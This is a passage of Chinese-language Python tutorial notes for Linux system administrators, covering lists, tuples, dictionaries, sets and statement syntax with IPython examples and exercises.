in a_list: 1809 | line_list = i.split() 1810 | print "username is {},uid is {},groups are {},password is {}".format(line_list[0],line_list[1],line_list[2],line_list[3]) 1811 | g_str = line_list[2] 1812 | g_list = g_str.split(',') 1813 | print "初始组是:{}".format(g_list[0]) 1814 | print "附加组是:{}".format('和'.join(g_list[1:])) 1815 | ``` 1816 | 1817 | 运行结果为: 1818 | 1819 | ```shell 1820 | username is dabao,uid is 888,groups are xuexi,it,password is uplooking 1821 | 初始组是:xuexi 1822 | 附加组是:it 1823 | username is lucy,uid is 889,groups are sales,it,password is uplooking 1824 | 初始组是:sales 1825 | 附加组是:it 1826 | username is lily,uid is 899,groups are pro,aa,bb,password is uplooking 1827 | 初始组是:pro 1828 | 附加组是:aa和bb 1829 | ``` 1830 | -------------------------------------------------------------------------------- /02-python.md: -------------------------------------------------------------------------------- 1 | # Python+Unix和Linux系统管理指南学习2-Python的核心数据类型 2 | 3 | [TOC] 4 | 5 | ## Python的核心数据类型 6 | 7 | 8 | | 内置对象 | | 例子 常量/创建 | 9 | | :----------- | :--- | :------------------------------- | 10 | | Number | 数字 | 12,3.14,3+4j | 11 | | String | 字符串 | 'hello',"I'm ok" | 12 | | List | 列表 | [1,[2,'three'],4] | 13 | | Dictionaries | 字典 | {'food': 'spam', 'taste': 'yum'} | 14 | | Tuple | 元组 | (1,'spam', 4, 'U') | 15 | | File | 文件 | myfile = open('eggs', 'r') | 16 | | Set | 集合 | set('abc'),{'a','b','c'} | 17 | | 其他 | 类型 | 类型、none、布尔型 | 18 | | 编程单元 | 类型 | 函数、模块、类 | 19 | | 与实现相关 | 类型 | 编译的代码堆栈跟踪 | 20 | 21 | 前面我们学习了数字,字符串,文件三种数据类型,接下来我们将一起学习其他高级数据类型。 22 | 23 | 24 | ## 列表 25 | 26 | Python内置的一种数据类型是列表:list。list是一种有序的集合,可以随时添加和删除其中的元素。 27 | 28 | > 列出班里所有同学的名字,就可以用一个list表示: 29 | 30 | ```python 31 | In [1]: classmates = ['batman','superman','green'] 32 | 33 | In [2]: classmates 34 | Out[2]: ['batman', 'superman', 'green'] 35 | ``` 36 | 37 | > 变量classmates就是一个list。用len()函数可以获得list元素的个数: 38 | 39 | ```python 40 | In [3]: len(classmates) 41 | Out[3]: 3 42 | ``` 43 | 44 | > 用索引来访问list中每一个位置的元素,记得索引是从0开始的: 45 | 46 | ```python 47 | In [4]: classmates[0] 48 | Out[4]: 'batman' 49 | 50 | In [5]: classmates[1] 51 | Out[5]: 'superman' 52 | 53 | In [6]: classmates[2] 54 | Out[6]: 'green' 55 | 56 | In [7]: classmates[3] 57 | --------------------------------------------------------------------------- 58 | IndexError Traceback (most recent call last) 59 | in () 60 | ----> 1 classmates[3] 61 | 62 | IndexError: list index out of range 63 | ``` 64 | 当索引超出了范围时,Python会报一个IndexError错误,所以,要确保索引不要越界,记得最后一个元素的索引是`len(classmates) - 1`。 65 | 66 | >> 如果要取最后一个元素,除了计算索引位置外,还可以用`-1`做索引,直接获取最后一个元素: 67 | 68 | ```python 69 | In [8]: classmates[-1] 70 | Out[8]: 'green' 71 | ``` 72 | >> 以此类推,可以获取倒数第2个、倒数第3个: 73 | 74 | ```python 75 | In [10]: classmates[-1] 76 | Out[10]: 'green' 77 | 78 | In [11]: classmates[-3] 79 | Out[11]: 'batman' 80 | 81 | In [12]: classmates[-4] 82 | --------------------------------------------------------------------------- 83 | IndexError Traceback (most recent call last) 84 | in () 85 | ----> 1 classmates[-4] 86 | 87 | IndexError: list index out of range 88 | ``` 89 | 90 | 当然,倒数第4个就越界了。 91 | 92 | > list是一个可变的有序表,所以,可以往list中追加元素到末尾: 93 | 94 | ```python 95 | In [13]: classmates.append('supergirl') 96 | 97 | In [14]: classmates 98 | Out[14]: ['batman', 'superman', 'green', 'supergirl'] 99 | ``` 100 | > 也可以把元素插入到指定的位置,比如索引号为1的位置: 101 | 102 | ```python 103 | In [15]: classmates.insert(1,'leo') 104 | 105 | In [16]: classmates 106 | Out[16]: ['batman', 'leo', 'superman', 'green', 'supergirl'] 107 | ``` 108 | 109 | > 要删除list末尾的元素,用pop()方法: 110 | 111 | ```python 112 | In [17]: classmates.pop() 113 | Out[17]: 'supergirl' 114 | 115 | In [18]: classmates 116 | Out[18]: ['batman', 'leo', 'superman', 'green'] 117 | ``` 118 | 119 | > 要删除指定位置的元素,用pop(i)方法,其中i是索引位置: 120 | 121 | ```python 122 | In [18]: classmates 123 | Out[18]: ['batman', 'leo', 'superman', 'green'] 124 | 125 | In [19]: classmates.pop(1) 126 | Out[19]: 'leo' 127 | 128 | In [20]: classmates 129 | Out[20]: ['batman', 'superman', 'green'] 130 | ``` 131 | 132 | > 要把某个元素替换成别的元素,可以直接赋值给对应的索引位置: 133 | 134 | ```python 135 | In [21]: classmates[1] = 'oracle' 136 | 137 | In [22]: classmates 138 | Out[22]: ['batman', 'oracle', 'green'] 139 | ``` 140 | 141 | > list里面的元素的数据类型也可以不同,比如: 142 | 143 | ```python 144 | In [23]: L = ['apple',1,True] 145 | ``` 146 | > list元素也可以是另一个list,比如: 147 | 148 | ```python 149 | In [24]: S = ['python',['java','shell'],'awk'] 150 | 151 | In [25]: len(S) 152 | Out[25]: 3 153 | ``` 154 | 155 | 要注意s只有3个元素,其中s[1]又是一个list,如果拆开写就更容易理解了: 156 | 157 | ```python 158 | In [26]: T = [L,S,'and'] 159 | 160 | In [27]: T 161 | Out[27]: [['apple', 1, True], ['python', ['java', 'shell'], 'awk'], 'and'] 162 | 163 | In [28]: T[0][0] 164 | Out[28]: 'apple' 165 | 166 | In [29]: L[0] 167 | Out[29]: 'apple' 168 | ``` 169 | 170 | 要拿到'apple'可以写`T[0][0]`或者`L[0]`,因此T可以看成是一个二维数组,类似的还有三维、四维……数组,不过很少用到。 171 | 172 | > 如果一个list中一个元素也没有,就是一个空的list,它的长度为0: 173 | 174 | ```python 175 | In [30]: L = [] 176 | 177 | In [31]: len(L) 178 | Out[31]: 0 179 | ``` 180 | 181 | | name | set | 182 | | :---------- | :-------------------------------- | 183 | | 新建列表 | testList=[10086,'中国移动',[1,2,4,5]] | 184 | | 删除列表元素 | del testList[0:4] | 185 | | 列表长度 | len(testList) | 186 | | 到列表结尾 | print testList[1:] | 187 | | 向列表添加元素 | testList.append('i\'m new here!') | 188 | | 弹出列表的最后一个元素 | testList.pop(1) | 189 | | 列表运算 | numlist * 2 | 190 | | 插入元素 | testList[0:2] = [1,0,0,0] | 191 | | 扩展列表 | testList.extend([7,8,9,10]) | 192 | | 列表反转 | testList.reverse() | 193 | 194 | 195 | ```python 196 | In [16]: tl = [10086,'zgyd',[1,2,3,4]] 197 | 198 | In [17]: len(tl) 199 | Out[17]: 3 200 | 201 | In [18]: print tl[1:] 202 | ['zgyd', [1, 2, 3, 4]] 203 | 204 | In [19]: print tl[0:1] 205 | [10086] 206 | 207 | In [20]: print tl[0] 208 | 10086 209 | 210 | In [21]: print tl[2] 211 | [1, 2, 3, 4] 212 | 213 | In [22]: print tl[4] 214 | --------------------------------------------------------------------------- 215 | IndexError Traceback (most recent call last) 216 | in () 217 | ----> 1 print tl[4] 218 | 219 | IndexError: list index out of range 220 | 221 | In [23]: print tl[0:9] 222 | [10086, 'zgyd', [1, 2, 3, 4]] 223 | 224 | In [25]: tl.append("I'm here!") 225 | 226 | In [26]: tl[0:-1] 227 | Out[26]: [10086, 'zgyd', [1, 2, 3, 4]] 228 | 229 | In [27]: tl[1:] 230 | Out[27]: ['zgyd', [1, 2, 3, 4], "I'm here!"] 231 | 232 | In [28]: tl[0:-1] 233 | Out[28]: [10086, 'zgyd', [1, 2, 3, 4]] 234 | 235 | In [29]: tl[-1] 236 | Out[29]: "I'm here!" 237 | 238 | In [32]: tl.pop(1) 239 | Out[32]: 'zgyd' 240 | ``` 241 | 242 | ### 列表的运算 243 | 244 | 列表也可以进行加和乘。 245 | 246 | ```python 247 | In [33]: numlist = [1,2,3,4] 248 | 249 | In [34]: print numlist 250 | [1, 2, 3, 4] 251 | 252 | In [35]: print numlist * 2 253 | [1, 2, 3, 4, 1, 2, 3, 4] 254 | 255 | In [36]: alist = ['a','b','c'] 256 | 257 | In [37]: print numlist + alist 258 | [1, 2, 3, 4, 'a', 'b', 'c'] 259 | ``` 260 | 261 | 上面进行了列表的乘法,注意并不是每个元素乘以二,而是整个列表被重复 262 | 了两次,重新接合成一个新的列表。 263 | 264 | 265 | ### 列表操作 266 | 267 | ```python 268 | In [41]: testlist=[] 269 | 270 | In [42]: testlist[0:2]=[1,0,0] 271 | 272 | In [43]: print testlist 273 | [1, 0, 0] 274 | 275 | In [44]: testlist.append(u'菜鸟') 276 | 277 | In [45]: print testlist 278 | [1, 0, 0, u'\u83dc\u9e1f'] 279 | 280 | In [46]: testlist.sort() 281 | 282 | In [47]: print testlist.sort() 283 | None 284 | 285 | In [48]: testlist.extend([7,8,9,10]) 286 | 287 | In [49]: print testlist 288 | [0, 0, 1, u'\u83dc\u9e1f', 7, 8, 9, 10] 289 | 290 | In [50]: testlist.reverse() 291 | 292 | In [51]: print testlist 293 | [10, 9, 8, 7, u'\u83dc\u9e1f', 1, 0, 0] 294 | 295 | In [52]: testlist.pop(0) 296 | Out[52]: 10 297 | 298 | In [53]: testlist.pop(1) 299 | Out[53]: 8 300 | 301 | In [54]: del testlist[0:4] 302 | 303 | In [55]: testlist 304 | Out[55]: [0, 0] 305 | ``` 306 | 307 | 重点:在 list 上调用 sort 之类的函数会造成 list 本身被改变,这个 immutable 308 | 的变量是不一样的。一定不能重新赋值,例如: 309 | testList = testList.sort() 310 | 将会导致 testList 失去对原对象的引用。 311 | 312 | ### 注意引用的问题 313 | 314 | 用一个例子程序来说明这个问题: 315 | 316 | 317 | 引用,而非拷贝 318 | 319 | * 引用 testList;如果 testList 被改变了,就会影响 newTestList; 320 | * 但是如果 testList 被重新定义了;就不会影响 newTestList 321 | 322 | ```python 323 | In [66]: testlist=[1,2,3,4] 324 | 325 | In [67]: newtestlist=[9,8,7,6,testlist] 326 | 327 | In [68]: newtestlist 328 | Out[68]: [9, 8, 7, 6, [1, 2, 3, 4]] 329 | 330 | In [69]: testlist.append(5) 331 | 332 | In [70]: newtestlist 333 | Out[70]: [9, 8, 7, 6, [1, 2, 3, 4, 5]] 334 | 335 | In [71]: testlist=[100,99] 336 | 337 | In [72]: testlist 338 | Out[72]: [100, 99] 339 | 340 | In [73]: newtestlist 341 | Out[73]: [9, 8, 7, 6, [1, 2, 3, 4, 5]] 342 | ``` 343 | 344 | ![01.png](pic/01.png) 345 | 346 | > 课堂练习 347 | ```python 348 | #!/usr/bin/env python 349 | #-*- coding: utf-8 -*- 350 | shoplist = ['apple', 'mango', 'carrot', 'banana'] 351 | print('我有{0} 个东西要买。'.format(len(shoplist))) 352 | print('要买的东西是:') 353 | for item in shoplist: 354 | print('{0} '.format(item)) 355 | 356 | print('我还需要买rice') 357 | shoplist.append('rice') 358 | print('我现在的购物列表为:{0}'.format(shoplist)) 359 | 360 | print('接下来我要将购物列表排序') 361 | shoplist.sort() 362 | print('排序后的购物列表为:{0}'.format(shoplist)) 363 | 364 | print('第一个我要买的东西是:{0}'.format(shoplist[0])) 365 | olditem = shoplist[0] 366 | del shoplist[0] 367 | print('我已经买了{0}'.format(olditem)) 368 | print('我现在的购物列表为:{0}'.format(shoplist)) 369 | ``` 370 | 执行结果: 371 | ```python 372 | 我有4 个东西要买。 373 | 要买的东西是: 374 | apple 375 | mango 376 | carrot 377 | banana 378 | 我还需要买rice 379 | 我现在的购物列表为:['apple', 'mango', 'carrot', 'banana', 'rice'] 380 | 接下来我要将购物列表排序 381 | 排序后的购物列表为:['apple', 'banana', 'carrot', 'mango', 'rice'] 382 | 第一个我要买的东西是:apple 383 | 我已经买了apple 384 | 我现在的购物列表为:['banana', 'carrot', 'mango', 'rice'] 385 | ``` 386 | ## 元组 387 | 388 | 另一种有序列表叫元组:tuple。tuple和list非常类似,但是tuple一旦初始化就不能修改. 389 | 390 | | name | set | 391 | | :--- | :--------------------------------------- | 392 | | 新建元组 | classmates = ('Michael', 'Bob', 'Tracy') | 393 | | 删除元组 | del classmates | 394 | 395 | > 比如同样是列出同学的名字: 396 | 397 | ```python 398 | In [1]: classmates = ('Michael', 'Bob', 'Tracy') 399 | 400 | In [2]: classmates 401 | Out[2]: ('Michael', 'Bob', 'Tracy') 402 | ``` 403 | 404 | 现在,classmates这个tuple不能变了,它也没有`append()`,`insert()`这样的方法。其他获取元素的方法和list是一样的,你可以正常地使用`classmates[0]`,`classmates[-1]`,但不能赋值成另外的元素。 405 | 406 | 不可变的tuple有什么意义?因为tuple不可变,所以代码更安全。如果可能,能用tuple代替list就尽量用tuple。 407 | 408 | > tuple的陷阱:当你定义一个tuple时,在定义的时候,tuple的元素就必须被确定下来,比如: 409 | 410 | ```python 411 | In [3]: t = (1,2) 412 | 413 | In [4]: t 414 | Out[4]: (1, 2) 415 | ``` 416 | 417 | > 如果要定义一个空的tuple,可以写成(): 418 | 419 | ```python 420 | In [5]: t = () 421 | 422 | In [6]: t 423 | Out[6]: () 424 | ``` 425 | 426 | > 但是,要定义一个只有1个元素的tuple,如果你这么定义: 427 | 428 | ```python 429 | In [7]: t = (1) 430 | 431 | In [8]: t 432 | Out[8]: 1 433 | ``` 434 | 435 | 定义的不是tuple,是1这个数!这是因为括号()既可以表示tuple,又可以表示数学公式中的小括号,这就产生了歧义,因此,Python规定,这种情况下,按小括号进行计算,计算结果自然是1。 436 | 437 | > 所以,只有1个元素的tuple定义时必须加一个逗号,,来消除歧义: 438 | 439 | ```python 440 | In [9]: t = (1,) 441 | 442 | In [10]: t 443 | Out[10]: (1,) 444 | ``` 445 | 446 | Python在显示只有1个元素的tuple时,也会加一个逗号,,以免你误解成数学计算意义上的括号。 447 | 448 | > 最后来看一个“可变的”tuple: 449 | 450 | ```python 451 | In [11]: t = ('a','b',['A','B']) 452 | 453 | In [12]: t[2][0] 454 | Out[12]: 'A' 455 | 456 | In [14]: t[2][1] 457 | Out[14]: 'B' 458 | In [15]: t[2][0] = 'X' 459 | 460 | In [16]: t[2][1] = 'Y' 461 | 462 | In [17]: t 463 | Out[17]: ('a', 'b', ['X', 'Y']) 464 | ``` 465 | 466 | 这个tuple定义的时候有3个元素,分别是'a','b'和一个list。不是说tuple一旦定义后就不可变了吗?怎么后来又变了? 467 | 468 | 别急,我们先看看定义的时候tuple包含的3个元素: 469 | 470 | ![03.png](pic/03.png) 471 | 472 | 当我们把list的元素'A'和'B'修改为'X'和'Y'后,tuple变为: 473 | 474 | ![04.png](pic/04.png) 475 | 476 | 表面上看,tuple的元素确实变了,但其实变的不是tuple的元素,而是list的元素。tuple一开始指向的list并没有改成别的list,所以,tuple所谓的“不变”是说,tuple的每个元素,指向永远不变。即指向'a',就不能改成指向'b',指向一个list,就不能改成指向其他对象,但指向的这个list本身是可变的! 477 | 478 | 理解了“指向不变”后,要创建一个内容也不变的tuple怎么做?那就必须保证tuple的每一个元素本身也不能变。 479 | 480 | > 小结 481 | > > list和tuple是Python内置的有序集合,一个可变,一个不可变。根据需要来选择使用它们。 482 | 483 | --- 484 | ## 字典 485 | 486 | | name | set | 487 | | :------------ | :--------------------------------------- | 488 | | 新建字典 | testDict={{ 'time':'时间','machine':'机器','time machine':'时间机器'}} | 489 | | 输出字典key的value | testDict['time'] | 490 | | 删除字典or key | del testDict['a'] | 491 | | 删除key | d.pop('Bob') | 492 | 493 | Python内置了字典:dict的支持,dict全称dictionary,在其他语言中也称为map,使用键-值(key-value)存储,具有极快的查找速度。 494 | 495 | > 举个例子,假设要根据同学的名字查找对应的成绩,如果用list实现,需要两个list: 496 | 497 | * `names = ['Michael', 'Bob', 'Tracy']` 498 | * `scores = [95, 75, 85]` 499 | 500 | 给定一个名字,要查找对应的成绩,就先要在names中找到对应的位置,再从scores取出对应的成绩,list越长,耗时越长。 501 | 502 | 如果用dict实现,只需要一个“名字”-“成绩”的对照表,直接根据名字查找成绩,无论这个表有多大,查找速度都不会变慢。用Python写一个dict如下: 503 | 504 | ```python 505 | In [18]: d = {'Michael': 95, 'Bob': 75, 'Tracy': 85} 506 | 507 | Out[20]: 95 508 | ``` 509 | 510 | 为什么dict查找速度这么快?因为dict的实现原理和查字典是一样的。假设字典包含了1万个汉字,我们要查某一个字,一个办法是把字典从第一页往后翻,直到找到我们想要的字为止,这种方法就是在list中查找元素的方法,list越大,查找越慢。 511 | 512 | 第二种方法是先在字典的索引表里(比如部首表)查这个字对应的页码,然后直接翻到该页,找到这个字,无论找哪个字,这种查找速度都非常快,不会随着字典大小的增加而变慢。 513 | 514 | dict就是第二种实现方式,给定一个名字,比如'Michael',dict在内部就可以直接计算出Michael对应的存放成绩的“页码”,也就是95这个数字存放的内存地址,直接取出来,所以速度非常快。 515 | 516 | 你可以猜到,这种key-value存储方式,在放进去的时候,必须根据key算出value的存放位置,这样,取的时候才能根据key直接拿到value。 517 | 518 | > 把数据放入dict的方法,除了初始化时指定外,还可以通过key放入: 519 | 520 | ```python 521 | In [21]: d['Adam'] = 67 522 | 523 | In [22]: d['Adam'] 524 | Out[22]: 67 525 | ``` 526 | 527 | > 由于一个key只能对应一个value,所以,多次对一个key放入value,后面的值会把前面的值冲掉: 528 | 529 | ```python 530 | In [23]: d['Jack'] = 90 531 | 532 | In [24]: d['Jack'] 533 | Out[24]: 90 534 | 535 | In [25]: d['Jack'] = 88 536 | 537 | In [26]: d['Jack'] 538 | Out[26]: 88 539 | ``` 540 | 541 | > 如果key不存在,dict就会报错: 542 | 543 | ```python 544 | In [27]: d['Thomas'] 545 | \--------------------------------------------------------------------------- 546 | KeyError Traceback (most recent call last) 547 | in () 548 | \----> 1 d['Thomas'] 549 | 550 | KeyError: 'Thomas' 551 | ``` 552 | 553 | > 要避免key不存在的错误,有两种办法,一是通过in判断key是否存在: 554 | 555 | ```python 556 | In [28]: 'Thomas' in d 557 | Out[28]: False 558 | ``` 559 | 560 | > 二是通过dict提供的get方法,如果key不存在,可以返回None,或者自己指定的value: 561 | 562 | ```python 563 | In [29]: d.get('Thomas') 564 | 565 | In [30]: d.get('Thomas',-1) 566 | Out[30]: -1 567 | ``` 568 | 569 | 注意:返回None的时候Python的交互式命令行不显示结果。 570 | 571 | > 要删除一个key,用pop(key)方法,对应的value也会从dict中删除: 572 | 573 | ```python 574 | In [31]: d 575 | Out[31]: {'Adam': 67, 'Bob': 75, 'Jack': 88, 'Michael': 95, 'Tracy': 85} 576 | 577 | In [32]: d.pop('Bob') 578 | Out[32]: 75 579 | 580 | In [33]: d 581 | Out[33]: {'Adam': 67, 'Jack': 88, 'Michael': 95, 'Tracy': 85} 582 | ``` 583 | 584 | 请务必注意,dict内部存放的顺序和key放入的顺序是没有关系的。 585 | 586 | 和list比较,dict有以下几个特点: 587 | 588 | * 查找和插入的速度极快,不会随着key的增加而增加; 589 | * 需要占用大量的内存,内存浪费多。 590 | 591 | 而list相反: 592 | 593 | * 查找和插入的时间随着元素的增加而增加; 594 | * 占用空间小,浪费内存很少。 595 | 596 | 所以,dict是用空间来换取时间的一种方法。 597 | 598 | dict可以用在需要高速查找的很多地方,在Python代码中几乎无处不在,正确使用dict非常重要,需要牢记的第一条就是dict的key必须是不可变对象。 599 | 600 | 这是因为dict根据key来计算value的存储位置,如果每次计算相同的key得出的结果不同,那dict内部就完全混乱了。这个通过key计算位置的算法称为哈希算法(Hash)。 601 | 602 | 要保证hash的正确性,作为key的对象就不能变。在Python中,字符串、整数等都是不可变的,因此,可以放心地作为key。而list是可变的,就不能作为key: 603 | 604 | ```python 605 | In [34]: key = [1, 2, 3] 606 | 607 | In [35]: d[key] = 'a list' 608 | 609 | --------------------------------------------------------------------------- 610 | TypeError Traceback (most recent call last) 611 | in () 612 | ----> 1 d[key] = 'a list' 613 | 614 | TypeError: unhashable type: 'list' 615 | 616 | ``` 617 | 618 | --- 619 | ## 集合 620 | 621 | | name | set | 622 | | :---- | :----------------- | 623 | | 新建集合 | s = set([1, 2, 3]) | 624 | | 添加元素 | s.add(key) | 625 | | 删除元素 | s.remove(key) | 626 | | 交集、并集 | "&\|" | 627 | 628 | set和dict类似,也是一组key的集合,但不存储value。由于key不能重复,所以,在set中,没有重复的key。 629 | 630 | > 要创建一个set,需要提供一个list作为输入集合: 631 | 632 | ```python 633 | In [36]: s = set([1, 2, 3]) 634 | 635 | In [37]: s 636 | Out[37]: set([1, 2, 3]) 637 | ``` 638 | 639 | 注意,传入的参数[1, 2, 3]是一个list,而显示的set([1, 2, 3])只是告诉你这个set内部有1,2,3这3个元素,显示的[]不表示这是一个list。 640 | 641 | > 重复元素在set中自动被过滤: 642 | 643 | ```python 644 | In [38]: s = set([1, 1, 2, 2, 3, 3]) 645 | 646 | In [39]: s 647 | Out[39]: set([1, 2, 3]) 648 | ``` 649 | 650 | > 通过add(key)方法可以添加元素到set中,可以重复添加,但不会有效果: 651 | 652 | ```python 653 | In [40]: s.add(4) 654 | 655 | In [41]: s 656 | Out[41]: set([1, 2, 3, 4]) 657 | ``` 658 | 659 | > 通过remove(key)方法可以删除元素: 660 | 661 | ```python 662 | In [42]: s.remove(4) 663 | 664 | In [43]: s 665 | Out[43]: set([1, 2, 3]) 666 | ``` 667 | 668 | > set可以看成数学意义上的无序和无重复元素的集合,因此,两个set可以做数学意义上的交集、并集等操作: 669 | 670 | ```python 671 | In [44]: s1 = set([1,2,3]) 672 | 673 | In [45]: s2 = set([2,3,4]) 674 | 675 | In [46]: s1 & s2 676 | Out[46]: set([2, 3]) 677 | 678 | In [47]: s1 | s2 679 | Out[47]: set([1, 2, 3, 4]) 680 | ``` 681 | 682 | set和dict的唯一区别仅在于没有存储对应的value,但是,set的原理和dict一样,所以,同样不可以放入可变对象,因为无法判断两个可变对象是否相等,也就无法保证set内部“不会有重复元素”。试试把list放入set,看看是否会报错。 683 | 684 | 685 | ## 再议不可变对象 686 | 687 | 上面我们讲了,str是不变对象,而list是可变对象。 688 | 689 | * 对于可变对象,比如list,对list进行操作,list内部的内容是会变化的 690 | * 虽然字符串有个replace()方法,也确实变出了'Abc',但变量a最后仍是'abc',应该怎么理解呢? 691 | * 要始终牢记的是,a是变量,而'abc'才是字符串对象!有些时候,我们经常说,对象a的内容是'abc',但其实是指,a本身是一个变量,它指向的对象的内容才是'abc' 692 | * 当我们调用a.replace('a', 'A')时,实际上调用方法replace是作用在字符串对象'abc'上的,而这个方法虽然名字叫replace,但却没有改变字符串'abc'的内容。相反,replace方法创建了一个新字符串'Abc'并返回,如果我们用变量b指向该新字符串,就容易理解了,变量a仍指向原有的字符串'abc',但变量b却指向新字符串'Abc'了: 693 | 694 | 695 | 所以,对于不变对象来说,调用对象自身的任意方法,也不会改变该对象自身的内容。相反,这些方法会创建新的对象并返回,这样,就保证了不可变对象本身永远是不可变的。 696 | 697 | > 小结 698 | 699 | * 使用key-value存储结构的dict在Python中非常有用,选择不可变对象作为key很重要,最常用的key是字符串。 700 | * tuple虽然是不变对象,但试试把(1, 2, 3)和(1, [2, 3])放入dict或set中,并解释结果。 701 | 702 | ## 课后习题 703 | 704 | ### 列表和字典 705 | 706 | > python完成 707 | 708 | 1. 举出两种方法来创建内含五个整数领的列表 709 | 2. 举出两种方法来创建一个字典,由两个健'a'和'b',而且每个健相关联的值都是0 710 | 3. 举出四种在原处修改列表对象的运算 711 | 4. 举出四种在原处修改字典对象的运算 712 | 713 | > 习题解答 714 | 715 | 1. `[0,0,0,0]` 或 `[0] * 5` 716 | 2. `{'a':0,'b':0}` 或 `D={};D['a']=0;D['b']=0 ` 717 | 3. `append()`增加元素;`extend()`增长列表;`sort()`排序列表;`reverse()`翻转 718 | 4. 字典的修改主要是赋值新的见或已存在的健。`D['c']=0` `del D['a']` `D.pop(key)` 719 | 720 | ### 元组 721 | 722 | > python完成 723 | 724 | 1. 你怎么确定元组多大? 725 | 2. 写一个表达式,修改元组中的第一个元素。在此过程中,`(4,5,6)`应该变为`(1,5,6)` 726 | 727 | > 习题解答 728 | 729 | 1. `len(T)` 730 | 2. 无法修改元组,但可以通过表达式重新赋值:`T=(4,5,6);T=(1,)+T[1:]` ;可以将元组转变为列表,修改后的列表转化为元组:`T=(4,5,6);L=list(T);L[0]=1;T=tuple(L)` 731 | 732 | ### 总习题 733 | 734 | 基础——打开ipython交互式模式解释器,输入以下表达式,然后试着说明每种情况所产生的结果: 735 | 736 | ```python 737 | 2 ** 16 738 | 2 / 5, 2 / 5.0 739 | "spam" + "eggs" 740 | S = "ham" 741 | "eggs " + S 742 | S * 5 743 | S[:0] 744 | "green %s and %s" % ("eggs", S) 745 | 'green {0} and {1}'.format('eggs', S) 746 | ('x',)[0] 747 | ('x', 'y')[1] 748 | L = [1,2,3] + [4,5,6] 749 | L, L[:], L[:0], L[−2], L[−2:] 750 | ([1,2,3] + [4,5,6])[2:4] 751 | [L[2], L[3]] 752 | L.reverse(); L 753 | L.sort(); L 754 | L.index(4) 755 | {'a':1, 'b':2}['b'] 756 | D = {'x':1, 'y':2, 'z':3} 757 | D['w'] = 0 758 | D['x'] + D['w'] 759 | D[(1,2,3)] = 4 760 | list(D.keys()), list(D.values()), (1,2,3) in D 761 | [[]], ["",[],(),{},None] 762 | ``` 763 | 764 | 索引和分片运算——ipython交互模式下,定义一个名为L的列表,内含四个字符串或数字(例如,`L=[0,1,2,3]`)。然后,实验一些边界情况,你可能不会在真实的程序种看到这些例子,但是它们用来促使你思考底层的模型,并且其中一些可能在较少的人为编写的形式种有用: 765 | 766 | ```python 767 | L[4] 768 | L[-1000:100] 769 | L[3:1] 770 | L[3:1]=['?'] 771 | ``` 772 | - 索引值超过边界,会如何? 773 | - 分片运算超出边界会如何? 774 | - 反向抽取序列,当较低边界值大于高边界值会如何? 775 | - 试着赋值到上题分片,看看此值将置于何处? 776 | - 你觉得这和分片超出边界是相同现象吗? 777 | 778 | 索引运算、分片运算以及del——定义另一个列表L,有四个元素,然后赋值给一个空列表给器偏移值之一(例如,`L[2]=[]`),发生什么事?然后,赋值空列表个分片`L[2:3]=[]`。现在,发生了什么?回想以下,分片赋值运算删除分片,并将新值插入分片曾经的地方。 779 | 780 | del会删除偏移量、健、属性以及名称。将其用在列表上来删除一个元素`del L[0]`。如果你删除整个分片,会发生什么`del L[1:]` ?当你赋值非序列给分片时,会发生什么变化`L[1:2]=1`? 781 | 782 | 1. 元祖赋值运算——输入下面几行:`X='spam';Y='eggs';X,Y=Y,X`,你觉得X和Y会发生什么变化? 783 | 2. 文件——写一个脚本,创建名为myfile.txt的新的输出文件,把字符串`"Hello file word!"`写入。然后写另一个脚本,开启myfile.txt,把其内容取出来并将其打印出来。 784 | 785 | 从系统命令行执行你的两个脚本。 786 | 787 | 新文件是否出现在执行脚本所在目录? 788 | 789 | 如果对开启的文件名新增不同的目录路径,有会怎样? 790 | 791 | ```python 792 | #!/usr/bin/env python 793 | 794 | S="Hello file word!\n" 795 | with open('myfile.txt','w') as f: 796 | f.write(S) 797 | print open('myfile.txt').read() 798 | ``` 799 | 800 | 总结 801 | ``` 802 | 数据类型之间的转换 803 | 数字---字符串 '%d'%num 804 | 字符串---数字 str.atoi() 805 | 字符串---list import string string.split() 806 | list---tuple tuple(list) 807 | tuple---list list(tuple) 808 | list---字符串 'str'.join(list) 809 | dict---》list dic.items() 810 | 文件---》list open('file').readlines() 811 | 文件---》string open('file').read() 812 | ``` 813 | -------------------------------------------------------------------------------- /03-python.md: -------------------------------------------------------------------------------- 1 | # Python 脚本编程及系统大规模自动化运维-Python语句和语法 2 | 3 | [TOC] 4 | 5 | > Python程序结构 6 | * 程序由模块构成 7 | * 模块包含语句 8 | * 语句包含表达式 9 | * 表达式建立并处理对象 10 | 11 | ## python语句 12 | 13 | ### python的语句集 14 | 15 | |Statement语句| Role角色 |Example例子| 16 | |:--|:--|:--| 17 | |Assignment赋值 |Creating references创建引用值| a, b = 'good', 'bad'| 18 | |Calls and other expressions调用| Running functions执行函数| log.write("spam, ham")| 19 | |print calls打印调用| Printing objects打印对象| print('The Killer', joke)| 20 | |if / elif / else| Selecting actions选择动作| if "python" in text: print(text)| 21 | |for / else| Iteration序列迭代| for x in mylist: print(x)| 22 | |while / else| General loops一般循环| while X > Y: print('hello')| 23 | |pass |Empty placeholder空占位符| while True: pass| 24 | |break |Loop exit循环退出| while True: if exittest(): break| 25 | |continue| Loop continue循环继续| while True: if skiptest(): continue| 26 | |def| Functions and methods函数和方法 |def f(a, b, c=1, *d): print(a+b+c+d[0])| 27 | |return |Functions results函数结果| def f(a, b, c=1, *d): return a+b+c+d[0]| 28 | |yield| Generator functions生成器函数| def gen(n): for i in n: yield i*2| 29 | |global |Namespaces命名空间| x = 'old' def function(): global x, y x = 'new'| 30 | |nonlocal| Namespaces (3.X)| def outer():x = 'old' def function(): nonlocal x; x = 'new'| 31 | |import |Module access模块访问| import sys| 32 | |from| Attribute access属性访问| from sys import stdin| 33 | |class| Building objects创建对象| class Subclass(Superclass): staticData = [] def method(self): pass | 34 | |try / except / finally |Catching exceptions捕捉异常| try: action() except: print('action error')| 35 | |raise |Triggering exceptions触发异常| raise EndSearch(location)| 36 | |assert |Debugging checks调试检查| assert X > Y, 'X too small'| 37 | |with / as| Context managers (3.X, 2.6+)环境管理器| with open('data') as myfile: process(myfile)| 38 | |del |Deleting references删除引用| del data[k] del data[i:j] del obj.attr del variable| 39 | 40 | 以上表格中需要注意的是: 41 | * print在python3.0是一个内置的函数,2式,也是一个保留字 42 | * python2.6中nonlocal不可用 43 | * python3.0的exec代码执行内置函数是一条语句,具有特定语法 44 | * python2.5 try/except 和 try/finally语句合并了 45 | 46 | ### 语法格式 47 | 48 | 1. python增加了冒号(:) 49 | 2. python中括号()是可选的 50 | 3. 终止行就是终止语句,不需要分号终止 